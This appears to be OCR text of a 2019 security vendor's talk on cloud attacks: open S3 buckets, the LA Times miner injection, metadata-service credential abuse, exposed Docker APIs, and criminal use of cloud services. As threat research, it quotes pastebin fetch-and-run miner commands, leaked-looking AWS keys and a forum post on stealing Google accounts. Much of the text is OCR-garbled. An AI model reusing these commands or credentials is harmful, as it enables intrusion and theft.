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Agenda: “Cloud War Stories”

* cloud platforms into

* in-the wild attacks on
cloud

* “cloud” underground

* The most adaptive user
of cloud technologies




Cloud

* So what is cloud? Technically
It Is just a computing
platform that someone else
IS managing for you :-D
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< Tweet

> ¥ Huy liked
SecArch in Purgatory || = & ¥ &

/S, @redblsk

Just spent 27 minutes explaining
to highly compensated software

c I ou d i Scom p I ex engineers the differences between

#aws s3 access logs and s3
object logging to cloudtrail.

Those are 27 minutes I'll never get
back.

2:34 AM - 10 Apr 20 - Twitter for Mac
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Prominent
“somebody
else”’s computers
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And then...

* There is also dropbox, {telecom}cloud(s), Alibaba
cloud and all sorts of other clouds
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tos Angetes Times [ I Ly

Researcher discovers classified Army

1ta breach exposed 123 millior intel app, data on open public AWS
Related to This Story i mformatlon bucket

lligence system, with data labeled "Top Secret," left open by contractor.

Stolg;l Cloud API Key to Blame for Imperva Breach

Phil Muncaster
%
Emall Phil Follow @philmuncaster

AddThin, A security breach which led to the compromise of customer data at Ir

stolen AP key for one of its Amazon Web Services (AWS) accounts, the 198 million Americans hit by 'lal’gest evel"
voter records leak

s for
| Peotecting your peivacy from hackers
ot spies

| R7-2018- 52 Guardzﬂla IoT Video Camera
Hard-Coded Credential (CVE-2018-5560)

INTRE SOFTWARE SECURITY DEVOPS BUSINESS PERSONAL TECH

Security

Massive US military social media
spying archive left wide open in AWS
S3 buckets

Dozens of terabytes exposed, your tax dollars at
work

By lain Thomson in San Francisco 17 Nov 2017 at20:08  66() SHARE et b L L Nearly 20% of the 1000 Most
e A T - Popular Docker Containers Have No
Root Password

POST STATS.

that TS/NOFORN stuff cut of that public AWS bucket..”

y Jerry Gambli

Executive summary




Implications (in a nutshell)

 Complex systems

* Cloud common in
enterprises: and attackers
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Data Access on Cloud
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T —————— £os Angeles Times Researcher discovers classified Army
198 million Americans hit by 'largest ever' intel app, data on open public AWS
voter records leak | e bucket
o B ron volers, Mg snehytics deka that sugnests who a pervon i Bkely to vot for and | Altcr_vx data brcach CXpOSCd 123 1nilli()n Amcricar Failed intelligence system, with data labeled "Top Secret," left open by contractor.
households’ information AL AR, 742 P

IR— r

TheA Register’
Biting the hand that feeds IT
INTRE SOFTWARE SECURITY DEVOPS BUSINESS PERSONAL TECH SCIENCE E

Massive US military social media
spying archive left wide open in AWS

ARt S Where the &

By lain Thomson in San Francisco 17 Nov 2017 at 20:08 660 SHAREY
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Guys, you're killing us! LA Times

homicide site hacked to mine crypto- / \
coins on netizens' PCs

“" .
And they say there's no money to be made in WebSIte has been
newspapers | tl « t ~
By Shaun Nichols in San Francisco 22 Feb 2018 at 00:29 5 SHARE Y SI en y mlnlng Cryp O
coins using visitors’

web browsers ...”

%

https://homicide.latimes.com ]

-

A Los Angeles Times' website has been silently mining crypto-coins using
visitors' web browsers and PCs for several days — after hackers snuck
mining code onto its webpages.

via The Register, 22 Feb 2018
Originally: Troy Mursch/Bad Packets

The newspaper's IT staffers left at least one of the publication's Amazon
Web Services S3 cloud storage buckets wide open to anyone on the

internet to freely change, update, and tamper.

@y RenD
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https://homicide.latimes.com

AWS Cloudfront!

N\ /

curl -v https://homicide.latimes.com \V/

< via: 1.1 varnish-v4, 1.1 a8d866886b5d25a5cfcb®df362279f88.cloudfront.net
(CloudFront)

Question: What is the AWS
bucket?
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Guess the bucket: Trail and error!

www.example.com
www-example-com
www.example.com-prod

www.example.com-aws

bucket-www.example.com | | I
www.example.com - :> www.example.com-aws

FQDN Candidate bucket names AWS Test Bucket name

Tutorials offen suggest bucket names that fit this pattern

19 19 Copyright 2019 Trend Micro Inc . TLP :G REEN ,’ IBEEE



/ https://2019.elbsides.de N

© 2@
) - o‘ =.~

1 ' ' \
{‘ s3://2019.elbsides.de \ ’» \

\ Vi AONS
7,

()
!\‘ /
| ’ ‘ /4
N\ il ///,//////
7/ ”

$ aws s3api get-bucket-acl --bucket 2019.elbsides.de
An error occurred (AccessDenied) when calling the GetBucketAcl operation: Access Der

20 20 Copyright 2019 Trend Micro Inc. TLP:GREEN @ IBEQE


http://2019.elbsides.de

$ aws s3api get-bucket-acl --bucket ########HH

{
"Owner": { (" )
"DisplayName": “..”, )
ST We don’t want to see:
38
"Grants": [ J
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/grouds/global/AllUsers"
. ; _
"Permission "FULL_CONTROL"
}
]
}
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Are there any critical sites on S3?

https://www | com/memgogins
hitps://ha Lin/legin/
hitps:// dobank.cojp/bu /ebh/businessweh/lo|

http Jp/login

nnns://id.eM/m/logm
L7
22 Copyright 2019 Trend Micro Inc. m TLP:G REEN

coJp/mypage/login.phy

https://
htips.//

itoJp/user/login/logini




5.6k buckets found




5.6k buckets found

4.4k buckets accessible

0 Random Robbie v
@Random_Robbie
5260... S3 buckets sorry that have my POC.txt file in.

7:27 PM - Feb 20, 2018 - Twitter Web Client

24 4 Copyright 2019 Trend Micro Inc. TLPGREEN ’ IBEI;IB



s3-ap-northes . +

aws s3 1s s3://##t###H#Ht#H

@ Not Secure |

$3-2p-northesst-1. amazonaws . com

PRE ORXYUSMSRf . jsp/

PRE WEzXTtAEBU.jsp/ Hello,

EEE Ei;ﬁsV/ This is a friendly warning that your Amazon AWS S3 bucket
; . ttings are wrong.

PRE diZPqEAuIM.jsp/ | %€ : ‘

PRE guide/ Anyone can write to this bucket.

PRE hgmail/ Please fix this before a bad guy finds it.

PRE images/
PRE img/
PRE js/
PRE json/
PRE mail/
PRE material
PRE point/
PRE promoti Hello from https://www.twitter.com/random_robbie - this is
PRE report a proof of concept to check if your S3 bucket has incorrect
PRE tmp/ permissions.
PRE tomorfow_mail/
PRE xml/
2018-06-13 18:03:43 199

13-ap-northes

@ Not Secure

Please secure your s3 bucket before a bad guy finds it!!

DM's are open”if you wish to chat.

bf9654e48a232. txt

2019-06-13 07:36:56 1742 404.

2018-01-15 02:02:43 162 BugDisclosure. tX
2017-12-05 15:34:22 226 poc.txt
2018-09-12 19:17:58 91 rdttk78549.txt
2018-01-26 01:06:18 54 t.txt
2017-06-07 18:29:44 27 test.txt
£918—O7—19 17:20:08 365 testupload.txt




https://homicide.latimes.com

BugDisclosure.txt was dropped on the site

»|t was ignored

l

With bucket logging, this would have been seen

latimes-graphics-media

http://latimes-graphics-media.s3.amazonaws.com/js/leaflet.fullscreen-

master/Control.FullScreen.js

Monero miner on Coinhive platform

26 26 Copyright 2019 Trend Micro Inc. TI_P :G R E E N @
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Static website hosting on AWS S3

Great idea! \

But check your permissions!

Log bucket accesses and
monitor them

zzzzz ht 2019 Trend Micro Inc TLP:GREEN ), TREND



Writable buckets lead to data exfil

™ j ] Elements Console Sources Network Performance Memory Application Security Audts I

routingzen.com,/gate535h54.php?hash=eyJzZWFyY2giOiJ0Y2dvb2QIiLCJ2b3RIXzI5joiMkiILCJI2b3RIXzMwijoiM ZAI
LCJZ2b3RIXzMxljoiMZEILCJZ2Db3RIXzMylloM @ . L CImb3JtX 2tleSI6IdtbFpDTGIzREAGDHQYUGCI
LConkadWNOljoiMTkwMylslnF0eSlGliEiLCJzZWxIY3R1N;ngSlGIjHhmiwicZVsZWNOXszMDgiOilengMilslan
bGVdF820DEx|j0iMzg40TEILCJZZWxIYIRINgxMCIGMA0ODgakwic2VsZWNOX2Y3ODEIOHzODY2zOCISInNIbGV|dFB2Nzgw
HOiMzg2M2YiILCJ2ZWxIY3RINJCANBGIIMAN|Q2liwic2VsZWNOX2Y30DMiOizODYONSIsInNIbG Vjd - ND#
LCJHIYXJOWZISNDY 2XVixdHIdoiMSisInJIbwo2 DiIJVUyIsSInJIZ2IvbI9pZ
IwicG9zdGNvZGUIOHIWNZQwMylIsimxvZ 2IbOmd1ZXNOoIiZ3VIc3QILCJsb2dpbipyZ Wdpc 3RICISINJIIZ 21 2dGVyliwi Y29u

dGVAdCIGIMNOZWNrb3VOIwiYmIsbGluZ11zY X ZIX2IuX2FKZHJICINfYmBval0i0ixliwiYmisbGluZzpic2VIZmByX3NoaXBw
b3Jfc2hpcHBpbmdfbmBiOiiwliwicZhpcHBpbmdbe2F2ZVIpbIOhZGRyZXNzX2Jv

awsnX3ll

bztd|joiMsu.unNoaxswarWSnOnthwaxmlesbcluZyleleiLCJiansawsnOvadwsMBwaWSn
OmMNvdWS0cnifawQiOiJVUylsimJpbGxpbmeBZmiyc3RuY W1lljoicGFOcmBaWEILCJIb 2xkZ XIiOiJwY XRyaWNpY SBwZ WxhZ Xoi

LCJiaWxsaWSnOmxhc3RuYW1lljoicGVs 16InBhdHJpY 2IhcHZhbDISQGdtYWisLmNvbSIsimJp
bGxpbmcEe3RyZWVOMSIG! YAIHNOY XigbGFrZSByZCisimJpbGxpbmc6Y 210eSI6imJsb29taWwSnZGFsZSIsimJpbGxpbmecGemvn

T R T T T T NTY  T I W DY S -‘M'Eo.ﬂm.azq’l?-MM’-&&GQON.‘.."‘?,‘{' o BT T PR FT T LA L RN s e L TN Bmsc A AL AP LAY A v
WN2ZNZI26CNSDIEETSIWeq8-32meGCQYLd, ., 165 Cookies. remove(“$s5");
fontawesome-webfont. woltPved 0.3 167 ),
b o
S 17

s onle 1 atob($s.Gate) + + encoded; @IBEIR“E

analytics.js 14 | B

GetIsageUrl: fuscticealencoded) {




":"US" "region_id":"41" "postcode":"07403" "login:guest":"guest" "login:re:
ne":"/uumm","billing:email":"p NN ', ' Dilling:street1":"€
ningdale","billing:region_id":"41","billing:postcode":"07403","billing:telepht

yomingdale","shipping:postcode":"07&@i#','shipping:telephone":" 97D

29 Copyright 2019 Trend Micro Inc . TLP:GREEN @
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Other things are also possible, of course ©

s JUSE be creative

X

Black Hat USA 2013 - DEFCON 20: Owning DEFCON 20: Javascript
Million Browser Botnet Bad Guys {And Mafia} Botnets
With Javascript ...

Black Hat Chema Alonso HackersSecunty

N T T A7 . T A s RBL MM O NINA M W O A . . N Nl



A variation: Reflection attacks
Former AWS software engineer
arrested over massive Capital One data

leak

Accessed 100m credit card - —
applications.

3333333 ht 2019 Trend Micro Inc TLP:GREEN ), TREND



Why did this work? A magic link-local address

Using temporary security credentials

If you are signing your request using temporary security credentials (see Making requests), you
must include the corresponding security token in your request by adding the x-amz-
security-token header.

When you obtain temporary security credentials using the AWS Security Token Service API, the
response includes temporary security credentials and a session token. You provide the session
token value in the x-amz-security-token header when you send requests to Amazon S3.
For information about the AWS Security Token Service APl provided by IAM, go to Action in the
AWS Security Token Service APl Reference Guide .

... X-Amz-Algorithm=AWS4-HMAC-SHA256 &X-Amz-Credential= ...

32 R U LM . JINLLIN ‘& micRroO


https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html

33

Other “hints”: good luck ;-)

x-amz-credential exploit X 4

Q Al @ News [ Videos [ Images O Shopping i More Settings To

Copyright 2

About 99,700 results (0.30 seconds)

labs.detectify.com » 2018/08/02 » bypassing-exploiting... ~

Bypassing and exploiting Bucket Upload Policies and Signed ...

Aug 2, 2018 - https://bucket-name.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-
SHA256&X-Amz-Credential=AKIA... And like this for Google Cloud ...

github.com » aws » aws-sdk-js » issues v

Bad region on field X-Amz-Credential method ... - GitHub

Feb 11, 2019 - The method createPresignedPost returns a X-Amz-Credential pointed to another
region. AWS-SDK Version: aws-sdk@2.400.0 ...

medium.com » secjuice » how-i-was-able-to-view-exact... v



Mitigation

Limiting instance metadata service access

You can consider using local firewall rules to disable access from some or all processes to the
instance metadata service.

Using iptables to limit access

The following example uses Linux iptables and its owner module to prevent the Apache
webserver (based on its default installation user ID of apache) from accessing
169.254.169.254. It uses a deny rule to reject all instance metadata requests (whether IMDSV1

or IMDSv2) from any process running as that user.

$ sudo iptables --append OUTPUT --proto tcp --destination 169.254.169.



Hacking cloud with google dorks
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Finding “moving fast” devops ©

Remember:
“move Tast break. .

things” f% °
MOTTO? 254

36 Copyright 2019 Trend Micro Inc TLP: GREEN r" IIIQICEI;IE




37

Goog

github.

clouc
Apr7,.
creatini

Copyright 2019 Tre

Resources:
# This security group defines Nginx Web proxy host.
# By default we're just allowing access from the load balancer. If you wi
# into the hosts, or expose non-load balanced services you can open their
ProxyHostSG:
Type: "AWS::EC2::SecurityGroup"
Properties:
VpcId: !Ref "PMVPC"
GroupDescription: "Web Server Security Group"
SecurityGroupIngress:

- CidrIp: !Ref "PMOWNIP" lStel' .
FromPort: "“22"
IpProtocol: "tcp" s2lopment by

ToPort: "22"

- FromPort: "443"
IpProtocol: "tcp"
SourceSecurityGroupld:

Ref: "“WEBELBSG"
ToPort: "443"

- FromPort: "80"
IpProtocol: "tcp"
SourceSecurityGroupld:

Ref: "WEBELBSG" ’
L/

ToPort: "80"
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3¢

Kubeconfig, anothg

inch master +  apphication-contamer-platform

i timgent Devs

find fie

Rew Blame  History
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Root cause ?Bad tutorials
lead to bad practices

TLP:GREEN



Bad tutorials reinforce bad practices

* Creds end up everywhere: virustotal, github,
pastebin. Many hunters

This creatles a connection $0 that you can inleract with the server

import boto
import boto.s3.,connection

access_Xxey ‘put your access key here!'’
secret_key * ‘put your secret key herxe!'
conn = boto.connect_a3(

aws_access key id access_key,
aws_secret_access key secret_key,

host = "cbjects.dreamhost.com’,
$is secure~False, F uncomment if you are not u
calling format * boto.s3.connection.OrdinaryCallingFormat(),

)

-~ TERE S ILr NJINLLIN @IBE%‘E




ling-files-to-amazon-s3-from-the-browser-part-one T -

As our bucket is private, however, we must also sign the upload request, and
immediately our form gets a little more complicated:

<form method="post" action="https://{{ config('filesystems.disks.s3.bucket
<input type="hidden" name="AWSAccessKeyld" value="{{ config('filesyste
<input type="hidden" name="acl" value="private'>
<input type="hidden" name="key" value="${filename}">
<input type="hidden" name="policy" value="{{ $policy }}">
<input type="hidden" name="success_action_redirect" value="{{ url('/s3
<input type="hidden" name="signature" value="{{ $signature }}">
<input type="file" name="file">
<button type="submit">Upload</button>

</form>

WMlahean addad shha fallaiicinm fialda ¢a Avwe favemn.



Credentials like a litter everywhere

[AWS] login: rozinsa@madl.ru password: 127572 Access Key ID ...
hitps Apastebin conv L x8WD74

24 52016 .. [AWS) loge ronnsadhead ru password. 127572 Access Key 1D AKIAMADOPAAIWLLIZPQ Secret Access Key ..

gn t0-s3 -M-seaet-aocessm foo
hitps Npastebin comy9SnLQ T

Mar 8 2018 ... G 10-53 —AWS-SOCTN-ACONES-ROY 100 —-AWS-SCCOSS-Rey-id DAY —Bucket DIODS. WoobENg g ~—Prefte AOMINGMUCH. WOSDENG O/ —-PIune ...

[Bash] ANSIBLE/AWS MASTER Conf - Pastebin.com

hips Vpastetin ComD1PHLZAg

Jan 12, 2017 ... Your pubic key has been saved in Momeisamy ssivid rsapul. ... AWS Access Key 1D [None)
ACCESS_KEY_IDAKINETAGEHLRXVVOIQA

Itps://pastebin.com/ctSjVEXa

et 9.10 x8 raw  cownload

User name,Password, Access key ID,Secret access key,Console login link
junglewsn, , AKTATONIRIEYDRQ7UULA, q70as00s8@V10+RMxQXH1uZam)PcAoOf 1aUsxh) J, nttps: /7261793558518 s1gnin. am

. RAW Paste Data @IBEI‘:‘E

B0 smmass Poamoessmead BAammmam Daas T ooy S S A A E Beman o= Damda 9 4abs




Code Execution on Cloud
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44 44
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Containers

Linux CGROUPS + Kernel Namespaces

Base OS

Dependencies

Application

Image

I

D G G

Container server
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Docker and
DockerHub

\

Elastic Container
Service

dWsS

\—/7

45 45 Copyright 2019 Trend Micro Inc.

Kubernetes

Elastic
Kubernetes

Service
TLP:GREEN

Apache
Mesos

D>

BeP

Fargate
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$ docker -H docker-host-fqdn ps

CONTAINER ID| IMAGE] COMMAND, CREATED
dea5e5131elb opencti/connector-mitre:1.1.2 "/entrypoint.sh" 3 weeks ago
fb64c9odflebf opencti/worker:1.1.2 "/entrypoint.sh" 3 weeks| ago
0868c5614ccO opencti/worker:1.1.2 "/entrypoint.sh" 3 weeks| ago
f6e78cbbc72e opencti/worker:1.1.2 "/entrypoint.sh" 3 weeks ago
7b1f76e19681 opencti/worker:1.1.2 "/entrypoint.sh" 3 weeks| ago
97fef724db62 opencti/worker:1.1.2 "/entrypoint.sh" 3 weeks| ago
6f2dfc738353, opencti/worker:1.1.2 "/entrypoint.sh" 3 weeks| ago
25dd39a655d4 opencti/connector-opencti:1.1.2] "/entrypoint.sh" 3 weeks ago
3bf9299547d8| opencti/platform:1.1.2 "/entrypoint.sh" 3 weeks| ago
e€59a906af147 rabbitmq:3.7.17-management "docker-entrypoint.s..." 3 weeks ago
4bf506f43eea docker.elastic.co/elasticsearch/elasticsearch:7.3.0 "/usr/local/bin/dock..." 3 weeks ago
e713f50d3d7b graknlabs/grakn:1.5.8 "./grakn-docker.sh" 3 weeks ago
b64a11545130 redis:5.0.5 "docker-entrypoint.s..." 3 weeks ago
48 43 Copyright 2019 Trend Micro Inc. TLP:GREEN IBEI;IB



Cryptominer infections

“XMRig is a high performance RandomX and CryptoNight CPU miner,
with official support for Windows.”

https://github.com/xmrig/xmrig

pananajamma/xmrig
vitnn/alpine-xmrig
kannix/monero-miner

Named container
infections

Also unnamed containers

49 49 Copyright 2019 Trend Micro Inc . TLP:GREEN ’ IBEEB



Or from scratch

Docker image: bmoussaud/ubuntu-wget

sh -c 'wget -O- https://pastebin.com/raw/NzMFK1jA | bash’

nohup bash -c '(curl -fsSL https://pastebin.com/raw/aGTSGJIp| | wget -q -O- https://pastebin.c

(curl -fsSL https://pastebin.com/raw/nMrfmnRa | | wget -q -O- https://pastebin.com/raw/nMrfmr

Criminal DevOps!
50 so0 Copyright 2019 Trend Micro Inc. TLP:G RE EN @
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SHELL
PATH

1) I only Wanna Mine.
2) | don’t want your data, or anything or even a ransom.
3) Please if you find this code, don’t post about it.

Copyright 2019 Trend Micro Inc.

4) lets talk Jeff4r190@tutanota,com
I D ‘



Docker server
infected’ with a |
fcrypto miner

+S2

CPU utilization >
tthreshold

A new Docker
Eserver is created 3

52 =53 Copyright 2019 Trend Micro Inc. TLP:G REEN



http: COMPRIMISED

Tryving COMPRIMISED

IP

Connected to COMPRIMISE!

GET /v1.19/containers
Host: COMPRIMISED_IP:¢

Agent: curl/7.47

HTTP/1.1 200 OK
lype:
11 Apr

Length:

53 Copyright 2019 Trend Micro Inc.
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Kubernetes Master

» Controller Manager
-
Scheduler

Developer

/ Operator Users

Plugin Network (eg Flannel, Weavenet, etc )

Kubernetes Node

Kubernetes Node

By Khtan66 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=53571935

Y

TREND,
MICRO




Kubernetes API
I'EQUiI'ES client Kubernetes Master
certificate by default
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So, Kubernetes is secure, right?

Unfortunately, client security is not enough

sssss ht 2019 Trend Micro Inc TLP:GREEN /) TREND



read-only http port https control port
10255 10250

Flannel, Weavenet, etc )
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New Service: Keep track of what you have connected 50 the Internet. Check out Shodan Montor
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New Service: Keep track of what you have connected to the Internet. Check out Shodan Monstor
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Cloud Masquerade
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NetRange:
CIDR:
NetName:
NetHandle:
Parent:
NetType:
OriginAS:

Organization:

RegDate:

13.64.0.0 - 13.107.255.255

13.104.0.0/14, 13.96.0.0/13, 13.64.0.0/11
MSFT

NET-13-64-0-0-1

NET13 (NET-13-0-0-0-0)

Direct Assignment

Microsoft Corporation (MSFT)
2015-03-26




Create your Azure free account today

Get started with 12 months of free services
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Exfiltration

)
8dddb4 lea X, |

C/45e4416eb5 mov dword , Ox44650e41

-

c/745e8726976. mov dword , Oxb5/669/

cb45ec mov byte |
c745d0476f6f, mov dword
c745d46c6544., mov dword
c745d8697665. mov dword
c/45dcd44/726f, mov dword
c745e0426f78. mov dword
cb45cc/c mov byte |

e8dbe3 call fcn.00401ed0

\

&& OneDrive

% Dro
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Clouds - widely adopted by cybercriminals

< content-disposition: attachment;filename="1B/RVUPtZft9dhIncac+mrgDkLUSVn2cPCMUFLC)cOywvQ==,txt";filename*=UTF-8"'1B%2
FRVUPtZft9dh9wcac+mrgDkLUSVn2cPCMUFLCI cOywvQ30%3D. txt
< date: Wed, 08 Apr 2020 07:23:27 GMT

< expires: Wed, 08 Apr 2020 07:23:27 GMT
< cache-control: private, max-age=0
< X-000g-hash: crc32c=AAAAAA==

.

35.228183.206:80 POST [gateflog.php POST /gate/log.php HTTP/L! Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Ty
pe: application/x-www-form-urlencoded Content-Length: 159 Host: 35.228.183.206 @ More Detals
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Badness breakdown by ASN

® AMAZON-02 - Amazo...
® GOOGLE - Google LLC

@ AS38631

® CHINA169-BACKBON... I
@ CLOUDFLARENET - Cl...
® DIGITALOCEAN-ASN -..

® AS37963

. AMAZON'AES - Amaz... ’-_-»"_'_':_7,:"

® OVH
® AS9371

® AS-26496-GO-DADDY... i
@ UNIFIEDLAYER-AS-1 - ..
® AKAMAI-ASN1

® AS7506
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© ©® AMAZON-02 - Amazo...

@ GOOGLE - Google LLC
@ AS38631

@ CHINA169-BACKBON...
@ CLOUDFLARENET - Cl...
@ DIGITALOCEAN-ASN -...
® AS37963

@ AMAZON-AES - Amaz...
®OvH

©® AS9371

@ AS-26496-GO-DADDY...

@ UNIFIEDLAYER-AS-1 - ..

©® AKAMAJ-ASN1Y

® AS7506

® RACKSPACE - Racksp...
@ HETZNER-AS

@ MDLINK MDlink onlin...
® AS7684

@ HIGHWINDSS3 - Highw...

® AWEX

@ CHINANET-BACKBON...
©® VFMNL-AS Amsterda...
® NAMECHEAP-NET - N..,
@ A543

@ AS38634

@ AKAMALAS - Akamal .,
® WEBZILLA

@ WiX_COM

@ CONTABO

® ASI131921

® ASB075
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Cloud in Underground
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Free Google Cloud instances

Powin

Reoutat ion

-

Good day! 1. Where to get ! Google cloud does not accept virtusl cards, normad full valsd 53 cost from § 35 and 2's not proftable 10 byy them to
register a trial, 350 If you use Google's autoreg, = will ask for verification. We need ready-made Google accounts for real users with linked maps.
There are several wiys 10 extract them: & stiler » SRrait, & StRler » your Ow Lralfic (F there Is 00e), Duying ogs, Buying cookies after ruming
through private software, | will not explain what a styler 5 and how & works, there 5 2 lot of nformation in the public domain, Stiller + Stram: i
YOu G0 NOL work on other reguests, It i not profitable 1o do IL If you STl work, then sl only those countries that are Indicated In Part 3. Stiler «
your Draffic i exactly the same, Buying logs: the most profitable option, do not Buy fresh logs, Lake mining 1-) monthn ag0 (maybe almcst no ore
works out logs on Google Clowd), The price for such logs 5 0.5-2r / pc, The disadvantage of this method s that you will nat only have S0 downioad
cookies, But also 90 through passwords for Google accounts, but In the end you will have data from your account and you Can InCredse the price for
it, Buying cookden after rumning private software: i generad, & small number of uners hawe a checkar of logs on youtube and for linking 55, Thow
who process the Jogs for “your request” (youtube) software have a large number of valld cookies with Google accounts, they can be redeemed or
Lahen under implementation. The mines & that they o aot heck the accounts for Google Diading and, I sy Spinion, they don't eves wie pronied
5 accounts often fly off and come across activaied, 1. Regstration |, Browner: The disadvantage of this method & that you will net only have 1o
download cookies, but 350 g0 thvough passwornds for Googhe accounts, bt In the end you will have Gata from your aCCount and you can Increase
the price for Il Boying cookies after running privirte softwire: In general, & small sumber of wiers hirve & chacher of log o0 youtube and for linking
5. Those who process the logs for “your request” (youtube ) software have 3 bvpe number of valld cookies with Google accounts, they can be
redeemed or taken under implementation. The misus i that they do not chadk the accounts for Google binding and, In my cpinion, they don't even
U proockes 50 accounts often Sy off and come acrom activated, 1. Regivtration 1, Browser: The duadvantage of this method is that you wilh not
only have to download cookdes, but also o through passwords for Google accounts, but In the end you will have @ata from your account and you

Copyright 2019 Trend Micro Inc. TLP:G REEN
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Sale of cloud instances

OB WIN 10 pro

Copyright

§
‘

—_
<
—

b

a W

akt W

% e
N

i /

ada) W .

erve 12

Dedicos (Azure)

ores, 8 gb RAM 4 days warrant

12(Ram 4 GH

AJ
vy

5 pas

§ pleces

3pcr

3ps

3 pen

& things

1

3 per

5 pes

Price for 1 po

200 00 KUB

00 RUS

80.00 RUD

006 nUB

2000 RUB

80.00 RUB

00 RUS

50.00 RUD

3006 nUB
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Credentials trade

[ InonamM aKkavHThL A An on FC 1 MS A
| sell AWS Amazon accounts, sale in one hand.
For those who are in the tank, | will say at once - these are

NOT the accounts of the Amazon shop.
If you do not know what it is and what it is eaten with, then you

do not need it.

Accounts are sold with raised EC2 limits - 10.20; SES - 50k.
The price tag depends on the number and terms in which it is
necessary to meet

PernCTpa

TLP:GREEN
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“other” clouds

Copyright 2019 Trend Micro Inc.

DOCUMENTATION SIGN UP SIGN IN

KISSr is Simple Dropbox Web Hosting.

cryptopromo.kissr.com
ethgive.kissr.com
ether_promo.kissr.com
check-ethpayments1.kissr.com
ethereum-giveaway.kissr.com
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And the last note..
Remember that

a “cloud”
Is just someone
else’s
computer?
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CARDING | HACKING | SECURITY
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Questions?
@fygrave or
Fyodor yarochkin@
trendmicro.com

ccccc ight 2019 Trend Micro Inc. TLP:GREEN ’ TREND.



